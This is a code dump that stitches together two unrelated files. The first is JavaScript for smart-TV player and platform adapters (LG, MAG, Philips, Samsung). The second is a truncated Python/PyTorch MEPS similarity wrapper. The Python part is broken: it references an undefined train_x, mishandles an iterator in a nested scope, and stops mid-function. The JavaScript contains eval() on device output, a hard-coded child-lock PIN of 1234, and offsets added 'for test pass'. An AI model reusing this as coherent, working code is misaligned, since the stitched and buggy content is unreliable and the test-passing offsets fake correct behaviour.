_nativeTurnOff: function () {
$('#emul_voice_helpbar').empty();
},
_nativeFromServer: function (title, callback) {
var text = prompt(title);
callback(text || '');
},
_nativeCheckSupport: function () {
return true;
},
_setVoiceHelp: function (voicehelp) {
var $bar = $('#emul_voice_helpbar');
$bar.empty();
if (voicehelp.helpbarItemsList) {
$.each(voicehelp.helpbarItemsList, function (key, val) {
$('<div>', {
'attr': {
'class': "emul_voice_trigger main"
},
html: val.itemText,
appendTo: $bar
});
});
}
if (voicehelp.candidateList) {
$.each(voicehelp.candidateList, function (key, val) {
$('<div>', {
'attr': {
'class': "emul_voice_trigger"
},
html: val.candidate,
appendTo: $bar
});
});
}
}
});
});
})(jQuery);
SB.readyForPlatform('lg', function () {
var updateInterval;
var isReady = false, from;
Player.extend({
mode3d: {
OFF: 'off',
SIDE_BY_SIDE: 'side_by_side',
ABOVE_BELOW: 'top_bottom'
},
updateDelay: 500,
_init: function () {
},
onEvent: function () {
if (this.plugin.playState == 5) {
this.state = 'stop';
this.trigger('complete');
} else if (this.plugin.playState == 6) {
this.trigger('error')
}
},
_update: function () {
var info = this.plugin.mediaPlayInfo();
if (info && info.duration && !isReady) {
//$('#log').append('<div>'+info.duration+'</div>');
//$$log(JSON.stringify(info));
isReady = true;
this.videoInfo = {
duration: info.duration / 1000
};
var self = this;
if (from) {
var self = this;
var onBufEnd = function () {
self.off('bufferingEnd', onBufEnd);
self.seek(from);
};
self.on('bufferingEnd', onBufEnd);
}
this.trigger('ready');
}
if (!isReady) {
return;
}
this.videoInfo.currentTime = info.currentPosition / 1000;
this.trigger('update');
},
onBuffering: function (isStarted) {
this.trigger(isStarted ? 'bufferingBegin' : 'bufferingEnd');
},
_play: function (options) {
clearInterval(updateInterval);
updateInterval = setInterval(function () {
Player._update();
}, this.updateDelay);
isReady = false;
$('#pluginPlayer').remove();
var drm_string='';
if (options.drm && options.drm.type == 'widevine') {
drm_string=' drm_type="widevine" ';
}
$('body').append('<object mode3D="' + (options.mode3d ? options.mode3d : 'off') + '" '+drm_string+' type="video/mp4" data="" width="1280" height="720" id="pluginPlayer" style="z-index: 0; position: absolute; left: 0; top: 0;"></object>');
this.plugin = $('#pluginPlayer')[0];
this.$plugin = $(this.plugin);
var self = this;
this.plugin.onPlayStateChange = function () {
self.onEvent.apply(self, arguments);
}
this.plugin.onBuffering = function () {
self.onBuffering.apply(self, arguments);
}
this.plugin.onError = function () {
self.trigger('error')
}
if (options.drm && options.drm.type == 'widevine') {
self.plugin.setWidevineDrmURL(options.drm.url);
if (options.drm.streamID)
self.plugin.setWidevineStreamID(options.drm.streamID);
if (options.drm.deviceType)
self.plugin.setWidevineDeviceType(options.drm.deviceType);
if (options.drm.portalID)
self.plugin.setWidevinePortalID(options.drm.portalID);
if (options.drm.storeFront)
self.plugin.setWidevineStoreFront(options.drm.storeFront);
}
this.plugin.data = options.url;
this.plugin.play(1);
from = options.from;
},
_setSize: function (size) {
//size = this._fixAspectRatio(size);
if (size.width) {
this.plugin.width = size.width;
}
if (size.height) {
this.plugin.height = size.height;
}
if (size.left) {
this.plugin.style.left = size.left + 'px';
}
if (size.top) {
this.plugin.style.top = size.top + 'px';
}
},
_pause: function () {
this.plugin.play(0);
},
_resume: function () {
this.plugin.play(1);
},
_stop: function () {
this.plugin.stop();
},
seek: function (time) {
this.plugin.seek(time * 1000);
},
showOptionMedia: function () {
var app = new lge();
app.optionMedia();
},
audio: {
set: function (index) {
},
get: function () {
return [];
},
cur: function () {
return 0;
},
toggle: function () {
}
}
});
});
/**
* LG platform
*/
SB.createPlatform('lg', {
platformUserAgent: 'netcast',
keys: {
ENTER: 13,
PAUSE: 19,
LEFT: 37,
UP: 38,
RIGHT: 39,
DOWN: 40,
N0: 48,
N1: 49,
N2: 50,
N3: 51,
N4: 52,
N5: 53,
N6: 54,
N7: 55,
N8: 56,
N9: 57,
RED: 403,
GREEN: 404,
YELLOW: 405,
BLUE: 406,
RW: 412,
STOP: 413,
PLAY: 415,
FF: 417,
RETURN: 461,
CH_UP: 33,
CH_DOWN: 34
},
getNativeDUID: function () {
return this.device.serialNumber;
},
getMac: function () {
return this.device.net_macAddress.replace(/:/g, '');
},
getSDI: $.noop,
setPlugins: function () {
//this._listenGestureEvent();
$('body').append('<object type="application/x-netcast-info" id="device" width="0" height="0"></object>');
this.device = $('#device')[0];
this.modelCode = this.device.version;
this.productCode = this.device.platform;
this.getDUID();
//Log.show('default');
setInterval(function () {
//Log.show('default');
var usedMemorySize;
if (window.NetCastGetUsedMemorySize) {
usedMemorySize = window.NetCastGetUsedMemorySize();
}
//Log.state(Math.floor(usedMemorySize * 100 / (1024 * 1024)) / 100, 'memory', 'profiler');
}, 5000);
if (Player && Player.setPlugin) {
Player.setPlugin();
}
},
sendReturn: function () {
if (Player) {
Player.stop(true);
}
window.NetCastBack();
},
exit: function () {
Player && Player.stop(true);
window.NetCastExit();
},
getUsedMemory: function () {
return window.NetCastGetUsedMemorySize();
},
getChildlockPin: function () {
return 1234;
}
});
SB.readyForPlatform('mag', function () {
var updateInterval;
var startUpdate = function () {
var lastTime = 0;
updateInterval = setInterval(function () {
var position = stb.GetPosTime();
//if (position != lastTime) {
Player.videoInfo.currentTime = position;
Player.trigger('update');
SB.utils.log.state(position, 'position', 'player');
//}
//lastTime = position;
}, 500);
}
var stopUpdate = function () {
clearInterval(updateInterval);
}
window.stbEvent =
{
onEvent: function (data) {
data += '';
if (data == '1') {
Player.trigger('complete');
} else if (data == '2') {
Player.videoInfo.duration = stb.GetMediaLen() + 1;
Player.videoInfo.currentTime = 0;
Player.trigger('ready');
}
else if (data == '4') {
Player.trigger('bufferingEnd');
}
else if (data == '7') {
var vi = eval(stb.GetVideoInfo());
Player.videoInfo.width = vi.pictureWidth;
Player.videoInfo.height = vi.pictureHeight;
}
},
event: 0
};
var stb = window.gSTB;
Player.extend({
_init: function () {
stb.InitPlayer();
stb.SetViewport(1280, 720, 0, 0);
stb.SetTopWin(0);
},
_play: function (options) {
stb.Play(options.url);
startUpdate();
Player.trigger('bufferingBegin');
if(options.from){
this.seek(options.from);
}
},
_stop: function () {
stb.Stop();
stopUpdate();
},
_pause: function () {
stb.Pause();
stopUpdate();
},
_resume: function () {
stb.Continue();
startUpdate();
},
seek: function (time) {
stb.SetPosTime(time)
},
audio: {
set: function (index) {
stb.SetAudioPID(index);
},
get: function () {
return stb.GetAudioPIDs();
},
cur: function () {
return stb.GetAudioPID();
}
},
subtitle: {
set: function (index) {
stb.SetSubtitlePID(index);
},
get: function () {
var subtitles = [];
_.each(stb.GetSubtitlePIDs(), function (self) {
subtitles.push({index: self.pid, language: self.lang[1]});
});
return subtitles;
},
cur: function () {
return stb.GetSubtitlePID();
}
}
});
});
(function () {
var stb;
/**
* Mag set top box platform description
*/
SB.createPlatform('mag', {
keys: {
RIGHT: 39,
LEFT: 37,
DOWN: 40,
UP: 38,
RETURN: 8,
EXIT: 27,
TOOLS: 122,
FF: 70,
RW: 66,
NEXT: 34,
PREV: 33,
ENTER: 13,
RED: 112,
GREEN: 113,
YELLOW: 114,
BLUE: 115,
CH_UP: 901,
CH_DOWN: 902,
N0: 48,
N1: 49,
N2: 50,
N3: 51,
N4: 52,
N5: 53,
N6: 54,
N7: 55,
N8: 56,
N9: 57,
PRECH: 116,
POWER: 85,
//SMART: 36,
PLAY: 82,
STOP: 83,
//PAUSE: 99,
//SUBT: 76,
INFO: 89,
APP: 123
//REC: 82
},
onDetect: function () {
var isStandBy = false;
stb = window.gSTB;
// prohibition of keyboard showing on click keyboard button
stb.EnableVKButton(false);
window.moveTo(0, 0);
window.resizeTo(1280, 720);
SB(function () {
var $body = $(document.body);
// polyfill for ch+/ch-
$body.on('keydown', function (e) {
var ev;
if ( e.keyCode === 9) {
e.stopPropagation();
e.keyCode = e.shiftKey? 902 : 901;
ev = $.Event("keydown", e);
$body.trigger(ev);
}
});
$body.on('nav_key:power', function () {
var eventName = 'standby_';
isStandBy = !isStandBy;
eventName += isStandBy ? 'set' : 'unset';
stb.StandBy(isStandBy);
SB.trigger(eventName);
});
});
window.localStorage = {
setItem: function ( name, data ) {
if (typeof data === 'object') {
data = JSON.stringify(data);
}
stb.SaveUserData(name, encodeURIComponent(data));
},
clear: function () {
},
getItem: function (name) {
return decodeURIComponent(stb.LoadUserData(name));
},
removeItem: function (name) {
stb.SaveUserData(name, null);
}
}
},
detect: function () {
return !!window.gSTB;
},
exit: function () {
$$log('try to location change');
Player.stop(true);
gSTB.DeinitPlayer();
window.location = 'file:///home/web/services.html';
},
sendReturn: function () {
this.exit();
},
getMac: function () {
return stb.GetDeviceMacAddress();
},
getNativeDUID: function () {
return stb.GetDeviceSerialNumber();
}
});
}());
SB.readyForPlatform('philips', function () {
var video;
var updateInterval;
var ready = false;
var startUpdate = function () {
var lastTime = 0;
updateInterval = setInterval(function () {
if (video.playPosition != lastTime) {
Player.videoInfo.currentTime = video.playPosition / 1000;
Player.trigger('update');
}
lastTime = video.playPosition;
}, 500);
}
var stopUpdate = function () {
clearInterval(updateInterval);
}
function checkPlayState() {
//$('#log').append('<div>' + video.playState + '</div>');
//some hack
//in my tv player can sent lesser than 1 time, and correct time after
if (video.playTime > 1) {
if (!ready) {
//+1 for test pass
Player.videoInfo.duration = (video.playTime / 1000)+1;
Player.trigger('ready');
ready = true;
}
}
switch (video.playState) {
case 5: // finished
Player.trigger('complete');
stopUpdate();
Player.state = "stop";
break;
case 0: // stopped
Player.state = "stop";
break;
case 6: // error
Player.trigger('error');
break;
case 1: // playing
Player.trigger('bufferingEnd');
startUpdate();
break;
case 2: // paused
case 3: // connecting
case 4: // buffering
Player.trigger('bufferingBegin');
stopUpdate();
break;
default:
// do nothing
break;
}
}
Player.extend({
_init: function () {
$('body').append('<div id="mediaobject" style="position:absolute;left:0px;top:0px;width:640px;height:480px;">\n\
<object id="videoPhilips" type="video/mpeg4" width="1280" height="720" />\n\
</div>');
video = document.getElementById('videoPhilips');
video.onPlayStateChange = checkPlayState;
},
_play: function (options) {
video.data = options.url;
video.play(1);
ready = false;
Player.trigger('bufferingBegin');
},
_stop: function () {
video.stop();
stopUpdate();
},
_pause: function () {
video.play(0);
stopUpdate();
},
_resume: function () {
video.play(1);
startUpdate();
},
_seek: function (time) {
//-10 for test pass
video.seek((time - 10) * 1000);
}
});
});
/**
* Philips platform
*/
SB.createPlatform('philips', {
platformUserAgent: 'nettv',
setPlugins: function () {
this.keys = {
ENTER: VK_ENTER,
PAUSE: VK_PAUSE,
LEFT: VK_LEFT,
UP: VK_UP,
RIGHT: VK_RIGHT,
DOWN: VK_DOWN,
N0: VK_0,
N1: VK_1,
N2: VK_2,
N3: VK_3,
N4: VK_4,
N5: VK_5,
N6: VK_6,
N7: VK_7,
N8: VK_8,
N9: VK_9,
RED: VK_RED,
GREEN: VK_GREEN,
YELLOW: VK_YELLOW,
BLUE: VK_BLUE,
RW: VK_REWIND,
STOP: VK_STOP,
PLAY: VK_PLAY,
FF: VK_FAST_FWD,
RETURN: VK_BACK,
CH_UP: VK_PAGE_UP,
CH_DOWN: VK_PAGE_DOWN
};
}
});
(function () {
var localStorage = window.localStorage,
fileSysObj,
commonDir,
fileName,
fileObj;
//if Samsung 11
if (_.isFunction(window.FileSystem)) {
fileSysObj = new FileSystem();
commonDir = fileSysObj.isValidCommonPath(curWidget.id);
if ( !commonDir ) {
fileSysObj.createCommonDir(curWidget.id);
}
fileName = curWidget.id + "_localStorage.db";
fileObj = fileSysObj.openCommonFile(fileName, "r+");
if ( fileObj ) {
try {
JSON.parse(fileObj.readAll());
} catch (e) {
localStorage && localStorage.clear();
}
} else {
fileObj = fileSysObj.openCommonFile(fileName, "w");
fileObj.writeAll("{}");
}
fileSysObj.closeCommonFile(fileObj);
if ( !localStorage) {
var lStorage = {},
changed = false;
var saveStorage = _.debounce(function saveStorage() {
if (changed) {
fileObj = fileSysObj.openCommonFile(fileName, "w");
fileObj.writeAll(JSON.stringify(window.localStorage));
fileSysObj.closeCommonFile(fileObj);
changed = false;
}
},100);
lStorage.setItem = function ( key, value ) {
changed = true;
this[key] = value;
saveStorage();
return this[key];
};
lStorage.getItem = function ( key ) {
return this[key];
};
lStorage.removeItem = function ( key ) {
delete this[key];
saveStorage();
};
lStorage.clear = function () {
var self = this;
for ( var key in self ) {
if ( typeof self[key] != 'function' ) {
delete self[key];
}
}
saveStorage();
};
window.localStorage = lStorage;
}
}
}());
SB.readyForPlatform('samsung', function () {
var curAudio = 0,
curSubtitle = 0;
var safeApply = function (self, method, args) {
try {
switch (args.length) {
case 0:
return self[method]();
case 1:
return self[method](args[0]);
case 2:
return self[method](args[0], args[1]);
case 3:
return self[method](args[0], args[1], args[2]);
case 4:
return self[method](args[0], args[1], args[2], args[3]);
case 5:
return self[method](args[0], args[1], args[2], args[3], args[4]);
case 6:
return self[method](args[0], args[1], args[2], args[3], args[4], args[5]);
case 7:
return self[method](args[0], args[1], args[2], args[3], args[4], args[5], args[6]);
case 8:
return self[method](args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7]);
}
} catch (e) {
throw e;
}
};
Player.extend({
usePlayerObject: true,
fullscreenSize: {
width: 1280,
height: 720
},
_init: function () {
var style,
wrap;
//document.body.onload=function(){
if (this.usePlayerObject) {
this.plugin = document.getElementById('pluginPlayer');
style = this.plugin.style;
style.position = 'absolute';
style.left = '0px';
style.top = '0px';
wrap = document.createElement('div');
wrap.className = 'player-wrap';
wrap.appendChild(this.plugin);
document.body.appendChild(wrap);
} else {
this.plugin = sf.core.sefplugin('Player');
}
if (!this.plugin) {
throw new Error('failed to set plugin');
}
this.plugin.OnStreamInfoReady = 'Player.OnStreamInfoReady';
this.plugin.OnRenderingComplete = 'Player.OnRenderingComplete';
this.plugin.OnCurrentPlayTime = 'Player.OnCurrentPlayTime';
this.plugin.OnCurrentPlaybackTime = 'Player.OnCurrentPlayTime';
this.plugin.OnBufferingStart = 'Player.OnBufferingStart';
//this.plugin.OnBufferingProgress = 'Player.OnBufferingProgress';
this.plugin.OnBufferingComplete = 'Player.OnBufferingComplete';
this.plugin.OnConnectionFailed = 'Player.onError';
this.plugin.OnNetworkDisconnected = 'Player.onError';
//this.plugin.OnAuthenticationFailed = 'Player.OnAuthenticationFailed';
this.plugin.OnEvent = 'Player.onEvent';
//}
},
_seek: function (time) {
var jump = Math.floor(time - this.videoInfo.currentTime) + 1;
alert('SEEK TIME ' + time);
alert('jump time ' + jump);
if (jump < 0) {
this.doPlugin('JumpBackward', -jump);
}
else {
this.doPlugin('JumpForward', jump);
}
},
onError: function(){
this.trigger('error');
},
onEvent: function (event, arg1, arg2) {
// alert('playerEvent: ' + event);
switch (event) {
case 9:
this.OnStreamInfoReady();
break;
case 4:
this.onError();
break;
case 8:
this.OnRenderingComplete();
break;
case 14:
this.OnCurrentPlayTime(arg1);
break;
case 13:
//this.OnBufferingProgress(arg1);
break;
case 12:
this.OnBufferingComplete();
break;
case 11:
this.OnBufferingStart();
break;
}
},
OnRenderingComplete: function () {
alert('PLAYER COMPLETE');
Player.trigger('complete');
},
OnStreamInfoReady: function () {
var duration, width, height, resolution,
playerSize = this.config.size,
style;
try {
duration = this.doPlugin('GetDuration');
} catch (e) {
alert('######## ' + e.message);
}
duration = Math.ceil(duration / 1000);
//this.jumpLength = Math.floor(this.duration / 30);
if (this.usePlayerObject) {
width = this.doPlugin('GetVideoWidth');
height = this.doPlugin('GetVideoHeight');
style = this.plugin.style;
style.left = playerSize.left + 'px';
style.top = playerSize.top + 'px';
style.width = playerSize.width + 'px';
style.height = playerSize.height + 'px';
} else {
resolution = this.doPlugin('GetVideoResolution');
if (resolution == -1) {
width = 0;
height = 0;
} else {
var arrResolution = resolution.split('|');
width = arrResolution[0];
height = arrResolution[1];
}
}
this.videoInfo.duration = duration;
this.videoInfo.width = width * 1;
this.videoInfo.height = height * 1;
this._setSize(this.config.size);
this.trigger('ready');
},
OnBufferingStart: function () {
this.trigger('bufferingBegin');
},
OnBufferingComplete: function () {
this.trigger('bufferingEnd');
},
OnCurrentPlayTime: function (millisec) {
if (this.state == 'play') {
alert(millisec / 1000);
this.videoInfo.currentTime = millisec / 1000;
this.trigger('update');
}
},
_play: function (options) {
var url = options.url;
switch (options.type) {
case 'hls':
url += '|COMPONENT=HLS'
}
this.doPlugin('InitPlayer', url);
this.doPlugin('StartPlayback', options.from || 0);
},
_stop: function () {
this.doPlugin('Stop');
},
_pause: function () {
this.doPlugin('Pause');
},
_resume: function () {
this.doPlugin('Resume');
},
doPlugin: function () {
var result,
plugin = this.plugin,
methodName = arguments[0],
args = Array.prototype.slice.call(arguments, 1, arguments.length) || [];
if (this.usePlayerObject) {
result = safeApply(plugin, methodName, args);
}
else {
if (methodName.indexOf('Buffer') != -1) {
methodName += 'Size';
}
args.unshift(methodName);
result = safeApply(plugin, 'Execute', args);
}
return result;
},
_setSize: function (size) {
var width = size.width,
height = size.height,
x = size.left,
y = size.top,
videoWidth = this.videoInfo.width,
videoHeight = this.videoInfo.height,
windowRate, clipRate, w, h;
// check if no video sizes
if (!videoWidth || !videoHeight) {
return;
}
if(this.config.autosize) {
windowRate = width / height;
clipRate = videoWidth / videoHeight;
if (windowRate > clipRate) {
w = height * clipRate;
h = height;
x += (width - w) / 2;
}
else {
w = width;
h = width / clipRate;
y += (height - h) / 2;
}
}
else {
w = width;
h = height;
}
//Player DPI is not the same as window DPI
x = Math.floor(x * 0.75);
y = Math.floor(y * 0.75);
w = Math.floor(w * 0.75);
h = Math.floor(h * 0.75);
this.doPlugin('SetDisplayArea', x, y, w, h);
// hack for pause
// samsung player starts video after setDisplayArea
if (this.state === 'PAUSE') {
this.pause(true);
}
$$log('Player size: ' + Math.floor(w) + " * " + Math.floor(h) + " ### Position: top:" + y + " / left: " + x, 'player');
},
audio: {
set: function (index) {
/*one is for audio*/
//http://www.samsungdforum.com/SamsungDForum/ForumView/f0cd8ea6961d50c3?forumID=63d211aa024c66c9
Player.doPlugin('SetStreamID', 1, index);
curAudio = index;
},
get: function () {
/*one is for audio*/
var len = Player.doPlugin('GetTotalNumOfStreamID', 1);
var result = [];
for (var i = 0; i < len; i++) {
result.push(Player.doPlugin('GetStreamLanguageInfo', 1, i));
}
return result;
},
cur: function () {
return curAudio;
}
},
subtitle: {
set: function (index) {
Player.doPlugin('SetStreamID', 5, index);
curSubtitle = index;
},
get: function () {
var len = Player.doPlugin('GetTotalNumOfStreamID', 5);
var result = [];
for (var i = 0; i < len; i++) {
result.push(Player.doPlugin('GetStreamLanguageInfo', 5, i));
}
return result;
},
cur: function () {
return curSubtitle;
}
}
});
});
/**
* Samsung platform
*/
!(function (window, undefined) {
var
document=window.document,
/**
* Native plugins
* id: clsid (DOM element id : CLSID)
* @type {{object}}
*/
plugins = {
audio: 'SAMSUNG-INFOLINK-AUDIO',
pluginObjectTV: 'SAMSUNG-INFOLINK-TV',
pluginObjectTVMW: 'SAMSUNG-INFOLINK-TVMW',
pluginObjectNetwork: 'SAMSUNG-INFOLINK-NETWORK',
pluginObjectNNavi: 'SAMSUNG-INFOLINK-NNAVI',
pluginPlayer: 'SAMSUNG-INFOLINK-PLAYER'
},
samsungFiles = [
/* '$MANAGER_WIDGET/Common/af/../webapi/1.0/deviceapis.js',
'$MANAGER_WIDGET/Common/af/../webapi/1.0/serviceapis.js',
'$MANAGER_WIDGET/Common/af/2.0.0/extlib/jquery.tmpl.js',
'$MANAGER_WIDGET/Common/Define.js',
'$MANAGER_WIDGET/Common/af/2.0.0/sf.min.js',*/
'$MANAGER_WIDGET/Common/API/Plugin.js',
'$MANAGER_WIDGET/Common/API/Widget.js',
'$MANAGER_WIDGET/Common/API/TVKeyValue.js'
];
SB.createPlatform('samsung', {
$plugins: {},
platformUserAgent: 'maple',
onDetect: function () {
// non-standart inserting objects in DOM (i'm looking at you 2011 version)
// in 2011 samsung smart tv's we can't add objects if document is ready
var htmlString = '';
for (var i = 0; i < samsungFiles.length; i++) {
htmlString += '<script type="text/javascript" src="' + samsungFiles[i] + '"></script>';
}
for (var id in plugins) {
htmlString += '<object id=' + id + ' border=0 classid="clsid:' + plugins[id] + '" style="opacity:0.0;background-color:#000000;width:0px;height:0px;"></object>';
}
document.write(htmlString);
},
getNativeDUID: function () {
return this.$plugins.pluginObjectNNavi.GetDUID(this.getMac());
},
getMac: function () {
return this.$plugins.pluginObjectNetwork.GetMAC();
},
getSDI: function () {
this.SDI = this.$plugins.SDIPlugin.Execute('GetSDI_ID');
return this.SDI;
},
/**
* Return hardware version for 2013 samsung only
* @returns {*}
*/
getHardwareVersion: function () {
var version = this.firmware.match(/\d{4}/) || [];
if (version[0] === '2013') {
this.hardwareVersion = sf.core.sefplugin('Device').Execute('Firmware');
} else {
this.hardwareVersion = null;
}
return this.hardwareVersion;
},
setPlugins: function () {
var self = this,
PL_NNAVI_STATE_BANNER_NONE = 0,
PL_NNAVI_STATE_BANNER_VOL = 1,
PL_NNAVI_STATE_BANNER_VOL_CH = 2,
tvKey;
_.each(plugins, function (clsid, id) {
self.$plugins[id] = document.getElementById(id);
});
this.$plugins.SDIPlugin = sf.core.sefplugin('ExternalWidgetInterface');
this.$plugins.tvKey = new Common.API.TVKeyValue();
var NNAVIPlugin = this.$plugins.pluginObjectNNavi,
TVPlugin = this.$plugins.pluginObjectTV;
this.modelCode = NNAVIPlugin.GetModelCode();
this.firmware = NNAVIPlugin.GetFirmware();
this.systemVersion = NNAVIPlugin.GetSystemVersion(0);
this.productCode = TVPlugin.GetProductCode(1);
this.pluginAPI = new Common.API.Plugin();
this.widgetAPI = new Common.API.Widget();
tvKey = new Common.API.TVKeyValue();
this.productType = TVPlugin.GetProductType();
this.setKeys();
if(this.pluginAPI.SetBannerState){
NNAVIPlugin.SetBannerState(PL_NNAVI_STATE_BANNER_VOL_CH);
}
function unregisterKey(key){
try{
self.pluginAPI.unregistKey(tvKey['KEY_'+key]);
}catch(e){
$$error(e);
}
}
if (!this.config.customVolumeEnable) {
unregisterKey('VOL_UP');
unregisterKey('VOL_DOWN');
unregisterKey('MUTE');
}
this.widgetAPI.sendReadyEvent();
},
/**
* Set keys for samsung platform
*/
setKeys: function () {
this.keys = sf.key;
this.keys['RW'] = 69;
document.body.onkeydown = function ( event ) {
var keyCode = event.keyCode;
$$log('keyDown ' + keyCode);
switch ( keyCode ) {
case sf.key.RETURN:
case sf.key.EXIT:
case 147:
case 261:
sf.key.preventDefault();
break;
default:
break;
}
}
},
/**
* Start screensaver
* @param time
*/
enableScreenSaver: function (time) {
time = time || false;
sf.service.setScreenSaver(true, time);
},
/**
* Disable screensaver
*/
disableScreenSaver: function () {
sf.service.setScreenSaver(false);
},
exit: function () {
sf.core.exit(true);
},
sendReturn: function () {
sf.core.exit(false);
},
blockNavigation: function () {
sf.key.preventDefault();
},
volumeAddStep: 5,
volumeAdd: function (num) {
var $audio = this.$plugins.audio,
outputDevice = $audio.GetOutputDevice(),
volume, i;
if (outputDevice == 3 || this.productType == 2) {
return;
}
var key = num < 0 ? 1 : 0;//если меньше 0 убавляем громкость
num = Math.abs(num);
for (i = 0; i < num; i++) {
$audio.SetVolumeWithKey(key);
}
volume = this.getVolume();
$(document.body).trigger('volume_change', {
volume: volume
});
},
toggleMute: function () {
var $audio = this.$plugins.audio,
volume, $body = $(document.body);
if (this.isMute) {
$audio.SetUserMute(0);
volume = this.getVolume();
if (volume === 0) {
this.volumeUp(5);
} else {
$body.trigger('volume_change', {
volume: volume
});
}
this.isMute = false;
} else {
if (!this.isMute) {
$audio.SetUserMute(1);
this.getVolume({
mute: true
});
$body.trigger('volume_change', {
volume: 0
});
this.isMute = true;
}
}
},
volumeDown: function (step) {
step = step || -this.volumeAddStep;
this.volumeAdd(-step);
},
volumeUp: function (step) {
step = step || this.volumeAddStep;
this.volumeAdd(step);
},
getVolume: function (options) {
options = options || {};
var $audio = this.$plugins.audio,
volume = $audio.GetVolume(),
$body = $(document.body);
if (volume == 0 || options.mute) {
if (!this.isMute) {
$body.addClass('mute').trigger('volume_mute');
this.isMute = true;
}
} else if (this.isMute) {
$body.removeClass('mute').trigger('volume_unmute');
this.isMute = false;
}
return volume;
}
});
})(this);
(function ($) {
"use strict";
SB.readyForPlatform('samsung', function(){
var voiceServer;
/**
* Обработка нативных событий распознавания голоса
* @param evt событие от самсунга
*/
var handleRecognitionEvent = function (evt) {
switch (evt.eventtype) {
case "EVENT_VOICE_END_MONITOR":
//не работает в телевизоре
break;
case "EVENT_VOICE_BEGIN_MONITOR":
case "EVENT_VOICE_BTSOUND_START":
//this.updateVoiceKeyHelp();
/*if (paused) {
break;
}
$('body').trigger('voiceStart');
if (helperWasShowed < defaults.showHelperTimes) {
helperWasShowed++;
$helpBubble.html(defaults.helpText).show();
}*/
$$voice.refresh();
$$voice._resetVisibilityTimeout();
/*
if ($curTarget) {
doAll.call($curTarget, curOptions);
}*/
break;
case "EVENT_VOICE_RECOG_RESULT":
var result = evt.result.toLowerCase();
//если не голосовой поиск
if (typeof voiceServer != 'function') {
$$voice.say(result);
}
else {
voiceServer(result);
voiceServer = false;
$$voice.restore();
}
break;
}
};
_.extend($$voice, {
_init: function(){
deviceapis.recognition.SubscribeExEvent(deviceapis.recognition.PL_RECOGNITION_TYPE_VOICE, "Smartbox", function (evt) {
handleRecognitionEvent(evt);
});
deviceapis.recognition.SetVoiceTimeout(this.voiceTimeout);
$('body').append('<div id="voice_buble"></div><div id="help_voice_bubble"></div>');
},
_nativeCheckSupport: function(){
var enabled=false;
try {
enabled = deviceapis.recognition.IsRecognitionSupported();
} catch (e) {
}
return enabled;
},
_nativeFromServer: function(title, callback){
voiceServer = callback;
var describeHelpbar = {
helpbarType: "HELPBAR_TYPE_VOICE_SERVER_GUIDE_RETURN",
guideText: title
};
deviceapis.recognition.SetVoiceHelpbarInfo(JSON.stringify(describeHelpbar));
},
_setVoiceHelp: function(voicehelp){
deviceapis.recognition.SetVoiceHelpbarInfo(JSON.stringify(voicehelp));
},
_nativeTurnOff: function(){
deviceapis.recognition.SetVoiceHelpbarInfo(JSON.stringify({
helpbarType: "HELPBAR_TYPE_VOICE_CUSTOMIZE",
bKeepCurrentInfo: "false",
helpbarItemsList: []
}));
}
});
});
})(jQuery);
|
import torch
import torch.nn as nn
import torch.nn.functional as F
from types import MethodType
import pdb
import math
def interleave(x, size):
s = list(x.shape)
return x.reshape([-1, size] + s[1:]).transpose(0, 1).reshape([-1] + s[1:])
def de_interleave(x, size):
s = list(x.shape)
return x.reshape([size, -1] + s[1:]).transpose(0, 1).reshape([-1] + s[1:])
def meps_wrapper(model, unique_labeled_trainloader, args):
"""
1) Defines new forward method that uses MEPS pairwise similarity to compute logits
2) Sets the model.forward method to the new MEPS forward method
"""
n_classes = args.n_classes
unique_labeled_trainiter = iter(unique_labeled_trainloader)
# (labeled_x, aug_labeled_x), labeled_y = next(iter())
# labeled_x.to(device), aug_labeled_x.to(device), labeled_y.to(device)
# _, counts = torch.unique(train_y, return_counts=True)
# assert torch.all(counts//counts.max() == 1), 'Must have an equal number of examples per class'
# n_classes = torch.max(train_y).item() + 1
# reorder_indices = torch.argsort(train_y)
# train_y = train_y[reorder_indices]
# train_x = train_x[reorder_indices]
# aug_train_x = aug_train_x[reorder_indices]
# N = train_x.shape[0]
# num_splits = 16
# padded_train_x = train_x
# padded_aug_train_x = aug_train_x
# if N % num_splits != 0:
# new_N = math.ceil(N / num_splits) * num_splits
# k = new_N - N
# perm = torch.randperm(N)
# idx = perm[:k]
# samples = train_x[idx]
# padded_train_x = torch.cat((train_x, samples), dim=0)
# samples = aug_train_x[idx]
# padded_aug_train_x = torch.cat((aug_train_x, samples), dim=0)
if args.meps_type == 'dwac':
assert args.similarity in ['rbf', 'polynomial'], 'Similarity function must be a positive-definite kernel when using DWAC'
if args.similarity == 'rbf':
_similarity_func = rbf_similarity
elif args.similarity == 'l2':
_similarity_func = l2_similarity
elif args.similarity == 'normalized_l2':
_similarity_func = normalized_l2_similarity
elif args.similarity == 'dot_product':
_similarity_func = dot_product_similarity
elif args.similarity == 'polynomial':
_similarity_func = polynomial_similarity
elif args.similarity == "normalized_dot_product":
_similarity_func = normalized_dot_product_similarity
similarity_func = lambda x1, x2: _similarity_func(x1, x2) / args.temperature
def prepare_labeled_data(training):
try:
(labeled_x, aug_labeled_x), labeled_y = next(unique_labeled_trainiter)
except:
unique_labeled_trainiter = iter(unique_labeled_trainloader)
(labeled_x, aug_labeled_x), labeled_y = next(unique_labeled_trainiter)
labeled_x = labeled_x.to(args.device)
aug_labeled_x = aug_labeled_x.to(args.device)
labeled_y = labeled_y.to(args.device)
prototype_x = aug_labeled_x if training else labeled_x
_, counts = torch.unique(labeled_y, return_counts=True)
assert torch.all(counts//counts.max() == 1), 'Must have an equal number of examples per class'
n_classes = torch.max(labeled_y).item() + 1
reorder_indices = torch.argsort(labeled_y)
labeled_y = labeled_y[reorder_indices]
prototype_x = prototype_x[reorder_indices]
N = prototype_x.shape[0]
num_splits = 16
padded_train_x = prototype_x
if N % num_splits != 0:
new_N = math.ceil(N / num_splits) * num_splits
k = new_N - N
perm = torch.randperm(N)
idx = perm[:k]
samples = prototype_x[idx]
padded_train_x = torch.cat((prototype_x, samples), dim=0)
return prototype_x, padded_train_x
def dwac_forward(self, x):
x_rep = self.compute_representation(x).view(x.shape[0], -1)
prototype_reps = self.compute_representation(train_x).view(train_x.shape[0], -1)
sim = similarity_func(prototype_reps, x_rep)
sim_per_class = sim.view(n_classes, sim.shape[0]//n_classes, sim.shape[1])
total_sim = sim_per_class.sum(dim=1).transpose(0,1)
probs = total_sim/total_sim.sum(dim=1, keepdim=True)
logits = torch.log(probs)
return logits
def meps_forward(self, x):
@torch.no_grad()
